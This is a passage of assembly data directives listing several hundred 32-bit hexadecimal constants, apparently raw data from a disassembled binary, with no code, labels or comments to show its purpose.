		dd 0B7D73169h, 0CF2200D4h, 4E05B137h, 0E4BFFE17h, 90C878CEh
		dd 0C5C8CDC0h, 6AFC0749h, 547DF881h, 0E688842Eh, 947AE0F4h
		dd 17B7003Dh, 4B3E0133h, 0CF70AC23h, 0FC2A295Bh, 1B79F0C0h
		dd 81694CAh, 5CA66C24h,	63F40AB0h, 0DCF00D00h, 5AADA237h
		dd 0A19C2547h, 0D0CA44A0h, 0B89C4425h, 0E1E0139Ch, 0A194CC24h
		dd 0F1FE87D5h, 185C71C8h, 0EBC400B6h, 51A5362h,	0CD01BF7Dh
		dd 0D9AA0C4Dh, 0DC682E26h, 18C1BBCh, 3A125AC0h,	0CD28FE93h
		dd 0F1E036ADh, 3869B659h, 7E94472Eh, 0FF034B46h, 0C86EBA44h
		dd 7AE186F8h, 90915890h, 6B3FA84h, 6446380Bh, 582F2344h
		dd 0A49474CEh, 341CA10h, 0E567A063h, 1C008DEBh,	790B629h
		dd 22800AAh, 0FB5817C8h, 6307198Fh, 55A322FDh, 84D1E60h
		dd 0A56E05Eh, 73FB2EDAh, 2D05083Ch, 39864AFh, 0C226385Ch
		dd 0CBF082E4h, 0C6161FBCh, 808464E5h, 84386CF2h, 0F60286C0h
		dd 931CF7BEh, 74B05CD6h, 42003446h, 70635374h, 0FE01CC12h
		dd 0AA585C79h, 0AC7CB7D7h, 4FD1260Ah, 782DDCF0h, 8C1C315Dh
		dd 0E2B4220Dh, 4FF0301Ah, 0E999EF01h, 5CD3A97h,	0CA90C83Ah
		dd 27043102h, 4139DF13h, 0FC3C86A9h, 386F1100h,	170E76BDh
		dd 129A7312h, 145D7CE4h, 705F35E0h, 3A8C17B8h, 71844CC9h
		dd 0D1CFA98Ah, 33A7CAECh, 309AA238h, 92095F0Ah,	0F6890C37h
		dd 7EAF4098h, 0B104A316h, 0E043C3F0h, 79B110BCh, 0E03183AFh
		dd 982D379Ah, 0A278CCB7h, 76987CFFh, 0F0024B46h, 8CC9245h
		dd 88952484h, 609F5784h, 8D9B15h, 797AC729h, 54B7150Bh
		dd 90FE3200h, 0D8A814A1h, 2FDCB67Dh, 30598832h,	0FB211303h
		dd 76EC98F3h, 316F409h,	91CA753Ch, 0BDCD850Ch, 79633E2Ch
		dd 1C68639Dh, 0A0D762F8h, 0DDE0A80Bh, 88247CFBh, 942825Bh
		dd 0AF1C5C90h, 0AC8038B5h, 548C8788h, 329103FFh, 0CE79602h
		dd 1616C978h, 0ECF35AF2h, 0DF3029B2h, 40954C19h, 4CCA6180h
		dd 4327E098h, 0D214A3CCh, 0D85EB806h, 20770151h, 2A5B3868h
		dd 80E098ADh, 73CA4E51h, 0CFA00946h, 0E8704843h, 0C09A393Fh
		dd 8214BEE6h, 0F8D188C8h, 8401ACD4h, 1E42A8CBh,	0AB98108Bh
		dd 0BE705018h, 10AC4352h, 5FC436C3h, 3E180161h,	0AC7049E5h
		dd 0FE9D4014h, 0AE063110h, 0C5B0814Bh, 0F20A00E5h, 0F2CBC5Bh
		dd 8577E0CCh, 9C6F38h, 89BD1DEBh, 2D8DB683h, 0C840F03Ch
		dd 6504EE9Ah, 4F497179h, 28E234E2h, 175D30h, 2E6E94D2h
		dd 2B16A28Ah, 0B9D8C81Dh, 0A4C0B030h, 0E8F30760h, 3486A331h
		dd 0E4E846h, 957C2065h,	0A58C8B57h, 6699C46Ch, 482105AEh
		dd 0A51C05D0h, 2E04C180h, 2FCD7C91h, 12D71500h,	0F53B2B72h
		dd 687C276Fh, 1CDD3960h, 0C3795AC9h, 8482C3EFh,	0AF9AA810h
		dd 688CDF2Fh, 1C90FA61h, 0D6865C13h, 39E8D8ECh,	412E28Ch
		dd 802ACD11h, 29089253h, 6A21C891h, 0B2980870h,	0B15100FFh
		dd 0A276B623h, 0CE0132F4h, 91E417F7h, 413A3CA1h, 0E7AD85CCh
		dd 0F4017ADCh, 74320184h, 4B2BC892h, 0E8191084h, 6E4D1158h
		dd 0B1201271h, 0A0C6E0AAh, 2070A8A0h, 0D4B8E32h, 0F9BDEC40h
		dd 28AA1DDCh, 20140403h, 0C00720A6h, 0A7B179E4h, 19AD3910h
		dd 0FCAA01C5h, 0B4A36B85h, 0BC683C98h, 241C8C06h, 0B62C2976h
		dd 0B17C2D00h, 0C956549h, 628BF1B0h, 84A0E088h,	9EEEB61Eh
		dd 0E16B890h, 5C9B4F70h, 9193BBC7h, 2B2A0BF2h, 0C4529095h
		dd 0EEE804ECh, 61002143h, 730E659Eh, 7703D572h,	0DCBCE48Dh
		dd 7FEDA0A5h, 2E5517FDh, 0D76891CCh, 0ACAC3DE6h, 0C4700125h
		dd 5638A016h, 276023D3h, 7C647Dh, 62CE8FC9h, 95704FA7h
		dd 231C6A00h, 0AA67DAEh, 74DA00EEh, 92E01B51h, 723DC26Fh
		dd 0C90702FCh, 46A1B025h, 0E1B08D84h, 6969C29Ch, 62D12474h
		dd 1B2CC600h, 49BBDBFCh, 4C898811h, 6718CD1h, 6E046618h
		dd 2795C917h, 0B811C86h, 0CC099267h, 0A74A8020h, 255629Ch
		dd 346E2FBCh, 8B286200h, 0C80A1B01h, 0D7AB9309h, 0DFB4A52Bh
		dd 2F4BD8A9h, 4902368h,	815B8E39h, 7ECCF2FBh, 0AC88CC41h
		dd 0C0F0905Fh, 0E6F90095h, 0E1F5A110h, 0AD5368C4h, 3A9E0BD0h
		dd 27342056h, 2D16786Dh, 0A0793625h, 0E180879h,	83F8404Dh
		dd 0C4EAA862h, 0DE56E430h, 612C30FFh, 0BEB2403Eh, 0D05704EEh
		dd 94F6906Bh, 90AFB0E0h, 0E0C81304h, 0A0121B9h,	0F4098862h
		dd 1BB0C097h, 8209018h,	0BC1F10h, 2EE76407h, 0B07CE555h
		dd 241CB1F0h, 0BF404321h, 0BE9B8FCCh, 1E70025h,	0E4B45ED0h
		dd 0E30E81C3h, 8680FB1Ch, 20BF75h, 3C5DE8D8h, 638F3FEFh
		dd 0D3A02607h, 6C51AB36h, 68876808h, 328D2B5h, 0EFB7A9F6h
		dd 1E47AC43h, 70BF61F1h, 0D7015E67h, 0BB3DAA88h, 88CA2A0h
		dd 0E020E6D6h, 7E84DCh,	139D38C2h, 5020F546h, 18EC64A4h
		dd 0E0218C18h, 60001DE4h, 0FDCD6DDEh, 0C0207AB2h, 96642569h
		dd 28C3EB0Ch, 32E3E079h, 0EEF8E719h, 115ED630h,	88D3E4B2h
		dd 0AEDE8079h, 0BE3C885Eh, 66BA1001h, 3F63227Fh, 30F32852h
		dd 0B9085ED1h, 6480EBE4h, 0E9DB436Ah, 0E2E4B15Dh, 6E61DD4h
		dd 8A73880Eh, 0E00AC8A1h, 0A0A24120h, 0B461A844h, 0A68305Eh
		dd 3460A0ACh, 5ECCFC21h, 55C4008Ch, 3B332E0Ah, 0A870EE26h
		dd 22509790h, 94A4F688h
		dd 80649024h, 5CD27831h, 672660F0h, 609E1097h, 32CE9C28h
		dd 8E1865FCh, 25408F7Ch, 0C8D4546Ch, 3C224866h,	80C9CD15h
		dd 0C79F6100h, 5124AF3Ah, 3B9D430Ch, 0C09508E1h, 3ABEF521h
		dd 0A0003667h, 0D73CA34Bh, 89BBC387h, 0A11C23BFh, 0C00DE70Ah
		dd 0AE182B7Dh, 5F192F44h, 7E661D0Ah, 38E6C273h,	0AC9FF0D4h
		dd 60E6DD08h, 0E14F6AC2h, 0E52D4012h, 2E5D2840h, 724C881Ch
		dd 0BB8301FAh, 4B7B59A4h, 0B48C206Ah, 9E69D20h,	667D5F1h
		dd 0D1F56A81h, 2D86E0A7h, 9012A2EEh, 1041668Fh,	0D731E1C6h
		dd 156E1530h, 8CBDC40Eh, 0EA8D5500h, 50385ADFh,	84B10B07h
		dd 69108CECh, 0E6D7B3B5h, 20EE146Fh, 2304D497h,	23CE46Ch
		dd 17C16109h, 0FD80AA91h, 0D51A12A2h, 9806442Ah, 3BB3CD00h
		dd 62D24B1Ch, 6C8B7ECCh, 0EA6860DCh, 90FE2C2Ah,	7EB24700h
		dd 9B4F68F2h, 0D77C3321h, 2138FB08h, 0C27E80AAh, 0FD6D8384h
		dd 577EC5h, 4992EE97h, 443663A4h, 0B490C67Dh, 0D21DCA46h
		dd 0B3E4845Eh, 20703281h, 85DEADAh, 62A21403h, 9BA802E2h
		dd 653E887Ah, 0D1DC91FCh, 0BD1875h, 5FB4B060h, 36DAB227h
		dd 0B7A2F11Fh, 9C84D1B1h, 0CE5E5180h, 5F5C57E3h, 6388F51Bh
		dd 0E2C3FF49h, 8E3AC086h, 0AEEF00EDh, 380A774Dh, 5091FEA4h
		dd 75717821h, 870F8418h, 0C141599Eh, 0ACC47E65h, 7C2DC4Ch
		dd 1784428Ah, 0C8DB209Dh, 0AD24EB99h, 67406828h, 0EEF076B7h
		dd 34D401A4h, 0C14D888Bh, 0F091FEA6h, 8B018E8h,	3F68F47Eh
		dd 0A84EF8C4h, 92A77E20h, 7030F0E4h, 0CE67E0E8h, 97461E88h
		dd 9AB0471Eh, 249D69AFh, 0C0809611h, 63DE958Ch,	0F2B4201Eh
		dd 784AE6D2h, 0AF4054E5h, 0EB68C77Eh, 0BD88FF18h, 817E00A7h
		dd 3724EA69h, 0D5022E22h, 1B4484A0h, 48DD42D2h,	20083ED0h
		dd 203FF2BDh, 186F3170h, 30F71BC4h, 0BFA14798h,	0C60C80F4h
		dd 0E1A6285Ah, 9B048CD1h, 0F124B33Ah, 0F200F938h, 0D1294B3Ah
		dd 103CEF80h, 189D8814h, 0F2489A37h, 0E8A14D17h, 5930C129h
		dd 9B718AAh, 657BC24h, 90F6E8A1h, 43C8413Ch, 7CC98337h
		dd 0A889D274h, 5BBDE2h,	0AB539AEFh, 8E39C94h, 88470128h
		dd 6121A00Ch, 7760BCh, 324E6F3Ch, 18F216A6h, 2679C160h
		dd 90967DD5h, 97A516A0h, 0DA808BEh, 114C176Bh, 0AC7B8468h
		dd 841DB0C0h, 6B870AE9h, 6CC929Eh, 0C99444AFh, 0F8EA282Ah
		dd 67688700h, 9A6B91E6h, 507C137Ah, 0E034145Ah,	2038E483h
		dd 5828D926h, 18CFF247h, 288C24C9h, 2A9C356Fh, 8068182Ah
		dd 65A46C74h, 35702005h, 0CE0408ACh, 0B63A96C0h, 22994624h
		dd 0EDFE0090h, 0A02CC73Ah, 9801D849h, 751C1DDEh, 0AC20E3A2h
		dd 0A0E940F4h, 0DD2E11Ch, 0A622180h, 58E51CD5h,	0D9E87856h
		dd 0D308008Ch, 0B67FFED4h, 6305AD10h, 81A98CE8h, 7EC7AC00h
		dd 241DF221h, 7C402538h, 0FD008F46h, 45DF13FAh,	2D01FB88h
		dd 77D2CA20h, 6887B582h, 3A8908E6h, 0C0E91C4h, 0DC5E6F43h
		dd 0D1EA01EFh, 0DC2BC94Bh, 587ED0ECh, 86735401h, 298F1CB5h
		dd 6CF1B6D5h, 0AFC7798Eh, 0D1B0EDC0h, 8C3A3DE9h, 29A00168h
		dd 8678192Ch, 53AF30C4h, 31A19C0Fh, 14C00CE7h, 849E9B28h
		dd 0D018E400h, 0CE97AED8h, 88442204h, 4807EC4h,	18485554h
		dd 108518E0h, 0A0B1505Ah, 0A318F4D1h, 2907A500h, 562F055h
		dd 1EF2121Ah, 544432B5h, 4088FC20h, 3BF0800Bh, 804FB9C0h
		dd 3A8E0E21h, 6C8C5C62h, 3C306FE8h, 4FBBC905h, 0F008FB16h
		dd 3AF4C0B8h, 0A94324B0h, 3ACBF880h, 0A70098BFh, 0DD22290Ch
		dd 24479A53h, 74F43FE6h, 0A73C7046h, 0B395E001h, 0FCFD5AAAh
		dd 53E2BC19h, 0B7B06E60h, 48F420E4h, 0C707184Bh, 82EECB62h
		dd 0FC53788Ah, 64AFA58h, 0C4B7B03Ch, 0FE01D96Eh, 0F192C0CEh
		dd 0A0D7ADB6h, 5F1D70h,	0F7AADA46h, 0D2936BB8h,	0E7C1081Ah
		dd 42688288h, 0EC9D094Fh, 4B807311h, 64A41550h,	53CED161h
		dd 9022AB22h, 1F5F110h,	0EF9CE715h, 1082EA0Ch, 8CFD96CFh
		dd 0C79A851h, 81FE518h,	9E8D7CDBh, 1AD0B1F2h, 2C91B9h
		dd 5787F1D3h, 7FE46C8Eh, 139390C9h, 0FC38243Ch,	8E668254h
		dd 3C409084h, 311986D4h, 0AA987EE6h, 4258BE18h,	23120307h
		dd 2A4B34h, 7F6EDF08h, 423E9530h, 0C2AC2600h, 0D9A4C82Eh
		dd 4D4600B8h, 0CA894097h, 21197F8Ch, 0CE3071C6h, 0EE70AAC4h
		dd 53AD06ECh, 8C5F3CAh,	31217660h, 8070B2h, 864C22EBh
		dd 775A92EAh, 0A9852707h, 0E840B407h, 19D690D8h, 3970C395h
		dd 0BFB8E35Bh, 4900820Ah, 8EF4CBF6h, 8526D9h, 36DB6118h
		dd 1A71A656h, 0E6CD9800h, 6ECE3350h, 0A7300D59h, 0E1488107h
		dd 3809C41Fh, 6A0BF80Eh, 8F40C6Bh, 0C421C067h, 961B09E6h
		dd 0B8D4F00h, 0C252C6F9h, 533928B7h, 23F8C874h,	7370A8C0h
		dd 7FBD46ECh, 1CB03388h, 6C0570h, 406BD38Ah, 0C0004B3Fh
		dd 19582A42h, 0F6CE7302h, 883460D7h, 0BD23077Fh, 9D590C00h
		dd 73A6F8A2h, 0C8A081C6h, 0CD0A9B0Ah, 742FCCF0h, 19809911h
		dd 1BF83A09h, 0C269448Ch, 0A0092028h, 3B556F1Ch, 729BF5C0h
		dd 0A169B294h, 0AC4122C8h, 6500831Eh, 0EB1EF3ACh, 20709EEAh
		dd 126B0B8Ah, 5834B47Eh, 52E63018h, 0EBCCCE81h,	18B0D870h
		dd 0AA805426h, 6044FC0Dh, 507F89D7h, 0A97DB274h, 83CB9A06h
		dd 60088AB3h, 9CF6212Ah, 0D50017B2h, 0A8AD3EB4h, 1442C9B9h
		dd 2441CE0Fh, 0C2B27184h, 249172D1h, 99F11059h,	42483FB2h
		dd 0D8BEE680h, 440C95FBh, 2D2085EFh, 0D8415B58h, 0E42692E9h
		dd 8F8B9040h, 4418CE6Fh, 0C987B183h, 3D04F173h,	3A631F42h
		dd 88B4A098h, 420F458Ch, 0E01C6A32h, 0B0C906D1h, 0C75F12AAh
		dd 3874030Fh, 58236FFAh, 423701AFh, 182A6319h, 3F8E88B3h
		dd 73E04200h, 0FD94CCAh, 0AE4012EAh, 0A34C1DF6h, 0A070AD00h
		dd 865455ECh, 0B5C87745h, 0C2143970h, 781D3500h, 0DDD55F81h
		dd 17B4440Ah, 5902E0D1h, 97EA1CD3h, 80B11154h, 78F1EBACh
		dd 67BA01A1h, 8075092h,	0E9804022h, 24F02E41h, 0F3101960h
		dd 0A0D7968Ah, 0A9D5A0BCh, 22CA57CCh, 0F8A27806h, 44601BD7h
		dd 3C01AD7Eh, 40C765Ah,	38ECAB80h, 1E3A0FD9h, 974C96A0h
		dd 18910E51h, 2182479h,	0DDCD1006h, 1C918B26h, 1F416030h
		dd 6F8C043h, 0E2DFBD13h, 50703648h, 48CA8C4h, 0F8390922h
		dd 38CE03h, 2509E9C5h, 48EB2829h, 0DE22305Eh, 152AAC00h
		dd 4650A48Bh, 5883005Ch, 0D11F357h, 2E003C7Fh, 0BD21AD14h
		dd 0C3805EFFh, 0D9A87E80h, 0E2CD410Ch, 6FD8697Ah, 1D80D927h
		dd 0EDE53B73h, 0DFA3F804h, 94CEB661h, 0DCC07588h, 18637D06h
		dd 804F1AE3h, 0B624FF02h, 0CE031C69h, 5290365h,	7357AB79h
		dd 0BF4031Eh, 1812358Ah, 0AC3A9CFBh, 7100E723h,	74D6917Dh
		dd 4C7EF8CAh, 206A25B7h, 3600DE54h, 0D209BCFAh,	3437E23Bh
		dd 80215532h, 0B9A965CCh, 0BD1A3801h, 2B12D363h, 0DEFCF084h
		dd 396E83DCh, 1B47823h,	631C4238h, 0A34C0E82h, 31F24207h
		dd 5A5F90E1h, 8A30CAB6h, 9CE221E3h, 0D0A50015h,	0B9E828ECh
		dd 0E4A4D73Eh, 0C570AE00h, 0F114BC0Eh, 1C875091h, 7436006Fh
		dd 4069F37Dh, 9C9859F4h, 1904214Ch, 0B6A8546Dh,	4B93618h
		dd 3960E5C4h, 4E0512B9h, 177367ABh, 0CE8AE403h,	30912B46h
		dd 0FEDC4080h, 0A898AC19h, 4D0E1A74h, 20A835EBh, 861BF538h
		dd 0DC7201D5h, 1F596964h, 63218088h, 3BD93605h,	0CB11C0EEh
		dd 648E698Ch, 67199175h
		dd 0F908796Ch, 852E2180h, 9C09D369h, 53E81F07h,	6690E019h
		dd 74F6F9h, 20D4B0B6h, 0BDA8DCECh, 408AEB1Fh, 308371F0h
		dd 58D356F5h, 87004B23h, 0FEC8415Bh, 0A483F8BCh, 8F5E620h
		dd 1A36DCD2h, 0A5404F64h, 0A62CF53Dh, 47A2C700h, 0BD9B68E7h
		dd 0D6C76C9h, 0B9E261D7h, 0CC309DC8h, 16D9EFFDh, 0CA3800BEh
		dd 0A6E6AE7Dh, 0CC2393Eh, 31A9DE3Eh, 18E7E88h, 0C78F1F8Ch
		dd 98A72739h, 0E9219008h, 74AE0096h, 369BDD54h,	2728F821h
		dd 6C039016h, 93A51AD7h, 9BF29856h, 62680C3Ch, 2681D967h
		dd 0E5F82310h, 594FE000h, 5BE99BE1h, 839AA80Ch,	9152934h
		dd 0BF3226D5h, 0B6E70501h, 4D0899ECh, 0A6307821h, 83230391h
		dd 0ABAE2770h, 3DD0A164h, 8BF88D63h, 448C971Fh,	9501EA9Eh
		dd 0E3C675AEh, 61803883h, 0ED060D18h, 95197064h, 3958D892h
		dd 0AE0A9118h, 94B71F8Fh, 99EE70h, 0F4DA5FAEh, 0DEDD94FAh
		dd 981A2E1Dh, 69AD6D0Ch, 0A2FE0340h, 0DC60EFECh, 1917A5E3h
		dd 931029B4h, 326502DCh, 41266825h, 8B18DA64h, 648D6908h
		dd 40F8C489h, 2A69842Dh, 204035C9h, 87584899h, 0D6F531C0h
		dd 1A1624DCh, 39A958B0h, 1DC0F500h, 67E605DFh, 621C0096h
		dd 35E80D3Ch, 0AA006632h, 38237383h, 1F8F2421h,	0E8E3FB14h
		dd 403E48F4h, 9623F4D0h, 3626D101h, 5218D4BFh, 0D97488h
		dd 25B21626h, 7C61E48Ch, 1F2EE500h, 77431927h, 8C925345h
		dd 6130F4A2h, 224101A7h, 0F31CC0E4h, 0C94C248Fh, 6719510Eh
		dd 7AF244E0h, 8C945088h, 9126CF3Bh, 5188E4BFh, 17007697h
		dd 0BD31F644h, 9D600DDh, 0F3BCC417h, 68C0DB7Fh,	8C396493h
		dd 0EF522462h, 40840C30h, 0E400D441h, 95AF5965h, 90411567h
		dd 31DDE098h, 0CEF0962Dh, 0D0E1E5F2h, 0C20299DEh, 7C97CC2Bh
		dd 88F084AEh, 0D5F53260h, 110EDC23h, 3AAA0357h,	0C9DE7DF5h
		dd 0F0A09B72h, 0C00F2088h, 8022E66Ah, 59B4674h,	0F73B18E8h
		dd 8D4FBC5Eh, 46BE80A2h, 0D68CA7h, 0FAEA9AA9h, 3EA627AEh
		dd 14E95101h, 5CB7BAC4h, 2D62820h, 1F863299h, 2047C767h
		dd 0A0604C44h, 0F4730545h, 0D50E73F8h, 6AFD410Ah, 0C340B883h
		dd 0D7F104h, 0F93C22B9h, 6128BFEh, 0E391A606h, 1429B3E1h
		dd 0C0C4D135h, 8C3C8840h, 8EAE8C04h, 92629F1Fh,	0AE94E720h
		dd 5F3C0079h, 0A47D13B5h, 2209CC51h, 3D5C30D6h,	481DCCh
		dd 5A5E6F3Ah, 2B14370Ch, 5DCEB44h, 86825FDCh, 1BF0E801h
		dd 0F100CAB0h, 0CE001569h, 9CD260C9h, 0B13825CFh, 189ED104h
		dd 53CE0EB0h, 0E4870492h, 32C49088h, 0A26A2268h, 0FB087878h
		dd 4FDE03F0h, 18769F1Eh, 485B7033h, 0A8510040h,	9E26C90h
		dd 20E52638h, 0B613936Ch, 244447F3h, 6201EA13h,	0A6A7E569h
		dd 46741C38h, 17301F52h, 383B70C0h, 589983F0h, 0A310642Bh
		dd 0D2660949h, 8C68A8B7h, 92803A11h, 0AF1F90AEh, 0ED91448Ch
		dd 51AE9A00h, 0F992073Ch, 38F70285h, 0E65413BFh, 0E3663068h
		dd 0EB46270Dh, 60269836h, 40145F0h, 0B258B50Ah,	0C010B43Ch
		dd 40B65E02h, 0ACA0222Bh, 84865874h, 0F3B4BCA0h, 149DD326h
		dd 140B6317h, 19C3FCCh,	84A17462h, 0A0831049h, 0ED2D00FCh
		dd 0BDC361F4h, 331F58A6h, 8F5D8C55h, 0F9982B00h, 0A7120B0h
		dd 0FE3F601Ch, 849986ECh, 0CEFC4946h, 2FA02A00h, 0FACC0C1Bh
		dd 507C4Bh, 4A6C17AEh, 6BC3D60Ah, 0DC250D03h, 8C0E4Fh
		dd 0E86D56E0h, 69E1E47Bh, 3EEC4Ah, 0CA00F323h, 0B65B3E8Bh
		dd 99446083h, 0F56A3210h, 0D208FA02h, 0C00D1EE9h, 4CBA0Dh
		dd 0ABA45964h, 0ACB7E1D8h, 0F1CE94A8h, 0D6E4C406h, 961D93Ch
		dd 6203B266h, 44583008h, 31D732EBh, 648CFC8Eh, 2C808143h
		dd 31916987h, 8422A207h, 9B9ED264h, 1BD09060h, 0C86C9026h
		dd 8DC7D858h, 79648BB1h, 2BB08428h, 40F86986h, 0D8A77604h
		dd 0AA432387h, 60055D9Bh, 0EF928627h, 466004C6h, 988F33DEh
		dd 30229D64h, 882923F6h, 19CC59E8h, 5A5D1100h, 99366D7h
		dd 0FBA02B1h, 0E245832h, 3C832CB5h, 0B39A03BEh,	0E470B085h
		dd 870B0099h, 0FBBD2FC7h, 9890CC4Bh, 0A5043965h, 0C84553C5h
		dd 0F8404283h, 0BE3E32ACh, 0F3A50089h, 0A65ABBD1h, 3B38AD75h
		dd 7CA8A92h, 9F0F8469h,	904CEAF8h, 0DA857B00h, 6E86699h
		dd 8BDC62D5h, 0BD0AD8D0h, 6804D330h, 0F04656h, 0FB229540h
		dd 0FD211E5h, 0BF30C615h, 0C8F56306h, 844A3C26h, 5B60D0A0h
		dd 0B62F899h, 0ECAE48DEh, 75E4C80h, 667D3F4Fh, 0A209D67Eh
		dd 2B34E56h, 2737B4Ch, 4447B44Ch, 3760F844h, 976ADD7Ch
		dd 0C600F971h, 0AAFA1CD3h, 1B074C2h, 0B2016B26h, 71ED88D7h
		dd 0D0D6CD80h, 14883766h, 0F4DF37FBh, 0D59C2D8h, 183B5061h
		dd 238DFC8Bh, 8F11A71Fh, 0AE93E804h, 0FFBE8BAh,	53ED32F9h
		dd 0FA23083Fh, 0D4A3A505h, 0E4BE71Fh, 9E702FA0h, 88A26F06h
		dd 25ED7E10h, 1817E73Bh, 0FA804D91h, 0E82461ACh, 683FEE13h
		dd 0F240085Dh, 9134F93h, 144A5CE9h, 33018523h, 26DCD0F5h
		dd 0A3885018h, 0F57B3Bh, 59C7D8C3h, 387EC594h, 0AAE5F30Ah
		dd 818AF873h, 46748C0Bh, 0C9F905F8h, 0BC4099DEh, 0B5B2174Fh
		dd 806F0E72h, 734996h, 8A13955h, 1E01E819h, 0C3D885F7h
		dd 0AC72B7E2h, 0C920078h, 0C74F1F91h, 0FCB1FBF0h, 3086F032h
		dd 0CF11F534h, 4B881EDCh, 0F53CA480h, 20BF0EEh,	77DCD85Ch
		dd 84E478C6h, 2CDBC428h, 36028446h, 2EDCD1F5h, 0A660BC71h
		dd 0EAEF53Eh, 0CEA34685h, 1BEA3601h, 7455CDF3h,	0F812C080h
		dd 0A8509BDDh, 8CF0E8A8h, 0C294B000h, 6EFAB19Dh, 1D8C0A9Eh
		dd 5C58B7DAh, 0B8005046h, 773DA5AFh, 0C10134B0h, 0AAEE8F94h
		dd 0FC406027h, 18E2C474h, 38641FB4h, 4726F0A1h,	123E6440h
		dd 383A50A7h, 53A5723h,	9086505Ch, 0AEABBC05h, 8C3834CCh
		dd 9211907Eh, 9C88BF1Fh, 0AE9800B9h, 8426211Bh,	29348842h
		dd 0AC0079E0h, 0ADF388B0h, 49776F39h, 0BC05C0AEh, 0D1E173FBh
		dd 21D39AB8h, 2FC02070h, 3E948B13h, 1E33008h, 2040B37Eh
		dd 3C18745Bh, 0CC8E954h, 0AE03B802h, 0C4EF96ABh, 0B9E678D0h
		dd 189DD998h, 179C0244h, 641BBE83h, 0B46EDC68h,	0E72E403Ch
		dd 90196261h, 31F3BE84h, 5FC9E07Bh, 0B8443D0Eh,	9F4F1E67h
		dd 0F8210FDBh, 3EF04D8Ah, 62ACF68Fh, 0B671BDECh, 18010EFAh
		dd 78329865h, 0E040AE96h, 615013BEh, 848E88F6h,	74318041h
		dd 5A21B31Fh, 10F23ECEh, 5E4721Dh, 0A2BD691Dh, 304DE26Ch
		dd 0F1246BD5h, 0D702D920h, 0A7142336h, 3D8670D4h, 441C9078h
		dd 0F0182185h, 84D04AC3h, 0DB99D217h, 146780D8h, 0B16E11h
		dd 0DBD10C2Ah, 0ADDE68BCh, 449950E8h, 0CC1859D1h, 0F933FB04h
		dd 68D0502Bh, 1A199698h, 609BDE97h, 5A11B09Dh, 388B3D80h
		dd 0F01427DDh, 3C803A87h, 2AE2C0BBh, 94907DBAh,	19F35E60h
		dd 7DD6C6C8h, 0E2A538DBh, 0B959C4FCh, 312147AAh, 3238B0D0h
		dd 0ABDA2668h, 0C1DC24B0h, 33F13193h, 5F6212B8h, 0F8556C20h
		dd 0E66002Ah, 0AD51D3C7h, 0C97C16E2h, 58352132h, 4DB47036h
		dd 9280A0DBh, 61649069h, 28EF448Ch, 0DE698B00h,	71CA6B53h
		dd 90F6AFh, 66B0092Dh, 3BAAE66Eh, 37C814Ch, 0CA57DEC8h
		dd 40B8008Dh, 0F66B15F5h, 844A9914h, 48C6F840h,	4BADD6h
		dd 5CBB029Fh, 34129CC9h, 0EE40FD01h, 82DBEAAEh,	8E005C2Dh
		dd 0A2C08580h, 6D002298h, 7D62AAAh, 2BA345Ch, 91D574BBh
		dd 6C411F0Ch, 50C104DCh
		dd 87009876h, 0EF4AD0A7h, 41312401h, 82D2CFDh, 440134B8h
		dd 3AEB14BBh, 547037BDh, 909240CAh, 91FAA513h, 5083940Eh
		dd 3B223C48h, 0BBF55707h, 17E7BECEh, 11C41F8Bh,	65D9804Fh
		dd 4C6D7C2Eh, 440641C4h, 693D6B62h, 930BC3Fh, 0E98A9270h
		dd 2D26718h, 30D8813Ch,	0F64404A7h, 0D0E61260h,	0DA4F5000h
		dd 5261FD3Ch, 242104EEh, 8FA83986h, 0C09DC890h,	9F7A6D75h
		dd 56224018h, 0C0E13CF1h, 70841281h, 0B60190CEh, 921D19D2h
		dd 2ED410AFh, 8FE83923h, 23C83BCBh, 46FB00F4h, 9C5E7F94h
		dd 5440C518h, 0A75381h,	0F03CA94Fh, 0C70C1631h,	0B1B74400h
		dd 46AE12A4h, 0D690003Eh, 0F3147B93h, 0ECA4C057h, 18F99890h
		dd 332608D0h, 48C4ECBFh, 26D87540h, 0C2E09C2Ch,	9D5B982Fh
		dd 80591184h, 574F07C9h, 0E4290127h, 2FD87F25h,	60904053h
		dd 320F4EBAh, 261F3826h, 7181A4Fh, 9ECCF76Ch, 192955DCh
		dd 489880A9h, 2609D360h, 9CC4BF30h, 0DB7A00F8h,	0C5C22026h
		dd 80023A08h, 0DE223107h, 75F4A0A4h, 0EA093Eh, 8C5F0C7Eh
		dd 702CD27Bh, 3C222700h, 32ABAFCBh, 0DFE0A1EFh,	0E27BFF10h
		dd 25C18B00h, 29C016DAh, 3CB65CA3h, 0C5923216h,	0BEC40FF8h
		dd 812C9497h, 40938A00h, 86CC908h, 0E1182A7Fh, 0A59196C1h
		dd 69F263E4h, 0C93D4383h, 7941BF60h, 5AA15B00h,	0DDAB7FBh
		dd 611B000Bh, 91E8C273h, 0B326CA92h, 0AD447C8Ah, 0F1CBEC81h
		dd 4D9C402h, 3785E0B0h,	927116EBh, 206F04h, 0AA22B1D3h
		dd 0A86A4021h, 73F4F2F8h, 0ACB73DC2h, 19623F98h, 0FF00AF0Ah
		dd 0E79E5DA5h, 0A97C9Ch, 29ED6D02h, 5262D695h, 0E812CDB8h
		dd 9C223BBFh, 0EE9031DDh, 9871B084h, 2A88F59Ch,	16690089h
		dd 3023213Eh, 6CB0C8C2h, 1464E844h, 905E7BCAh, 83223F16h
		dd 0A1003B48h, 43B73063h, 47C9233h, 0B2642CAEh,	339CB18Fh
		dd 7B7C2C0h, 60306F64h,	8F967A51h, 4428403Bh, 0DEFD443Bh
		dd 78058900h, 0DF0F4656h, 0BC430075h, 0C5B95336h, 8C0FC8A0h
		dd 0E0A51A27h, 0BD32529Ah, 0F4D42513h, 59917C9Dh, 212C9480h
		dd 4B502D41h, 7F88DF48h, 9C0903B9h, 500A2C52h, 0BCD5C790h
		dd 0F31D6C70h, 0B7CEF7Bh, 60358DE4h, 2DFB3CDCh,	5899C6E3h
		dd 54D21405h, 2158DA82h, 0EA90900Ch, 3B8C8FFCh,	4D007DC2h
		dd 68F2B21Fh, 85120BBFh, 50D0C0E2h, 9A97F821h, 40844AD0h
		dd 623CAF8Ch, 1F154CBEh, 4F87FE8h, 3052BAAAh, 5FD950C6h
		dd 230C2F35h, 211A019Ch, 91158BF0h, 8488179h, 0C06C9926h
		dd 0BF3126D6h, 4922BC46h, 26DE7701h, 0D2BF888h,	68A49C49h
		dd 584676D0h, 642DD801h, 21809FC2h, 941C6078h, 2823F1h
		dd 7C6952C9h, 4CF0CDE4h, 0C8487536h, 8C4AE8h, 0DECE3301h
		dd 9423BE90h, 5F61E262h, 0F790820Ch, 0F4990237h, 89445C58h
